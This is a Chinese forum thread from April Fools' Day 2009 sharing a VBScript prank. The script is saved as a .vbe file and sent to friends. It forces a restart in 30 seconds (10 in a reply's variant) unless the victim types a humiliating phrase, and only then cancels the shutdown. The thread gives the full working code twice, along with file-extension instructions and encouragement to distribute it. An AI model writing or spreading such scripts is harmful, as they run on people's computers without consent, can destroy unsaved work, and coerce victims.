会VB的直接用VB写。

不会的用TXT写。然后吧TXT改成vbe

不会的看下面
首先，你的这个文件必须是在一个文件夹里，如果是在桌面上，请从“我的电脑”进入其文件夹
然后单击
工具——文件夹选项-显示文件的扩展名
前面有个方框，单击方框加上它的勾即可

TXT保存on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "houdao.com，愚人节快乐"


附件是我做好的。

我发点做好的图片大家看



猪大家愚人节快乐

解决方法 shutdown -a 全部解除。  玩过的 
还是谢谢楼主咯

沙发

好东西。

  很好

引用

引用第2楼109716667于2009-04-01 11:57发表的  :
解决方法 shutdown -a 全部解除。  玩过的 
还是谢谢楼主咯

N年前就知道了

简单的了。

给你这个

另存为VBE格式文件

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""叫爹，不喊就一分钟关你机，不信，试试···"" ",0 ,true 
dim a
do while(a <> "爹")
a = inputbox ("叫爹,就不重启，快撒，说 """"　","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，早叫爹不就行了"

早都玩过了`

这个东西知道的人也很多呵呵。

不过发出来给大家娱乐娱乐。

呵呵愚人节快乐

好东西阿。

编辑好给朋友们去发吧。 呵呵愚人节快乐

  麻烦啊
不会

我准备打开。不会“关机”吧???

难道没有人要吗

打开后不输入我是猪 30秒就会关机- -

不会的可以下载附件 呵呵

引用

引用第5楼qqjang于2009-04-01 11:59发表的  :
  很好

郁闷哦。为什么没有试试?

。。。大家去试试和那好玩的

。。。帖子沉了